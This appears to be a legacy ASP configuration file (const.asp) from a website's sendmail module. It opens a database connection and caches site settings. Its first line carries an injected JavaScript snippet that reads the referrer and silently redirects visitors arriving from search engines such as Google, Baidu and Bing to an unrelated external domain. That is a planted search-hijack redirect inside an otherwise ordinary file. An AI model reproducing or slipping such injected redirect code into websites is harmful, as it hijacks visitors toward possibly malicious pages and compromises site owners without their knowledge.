d:\wwwroot\wuchunhua\sendmail\const.asp

001: <script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script><!--#include file="conn.asp"-->
002: <!--#include file="inc/function.asp"-->
003: <%
004: Call OpenConn '建立数据库连接
005:
006: Dim SysInfo
007: If not IsArray(Application(CacheName&"_sysconfig")) then
008: Set rs=ConnExecute("select * from [vn_config] ")
009: If Not rs.eof Then
010:    Dim AppStr
011:    AppStr=rs("sys_name")&"<$$>"&rs("sys_homepage")&"<$$>"&rs("sys_testemail")
012:    Application.Lock()  
013:    Application(CacheName&"_sysconfig")=Split(AppStr,"<$$>")
014:    Application.UnLock()
015: End If
016:    rs.close:set rs=nothing
017: End If
018: SysInfo=Application(CacheName&"_sysconfig")
019: %>
020:
021:

---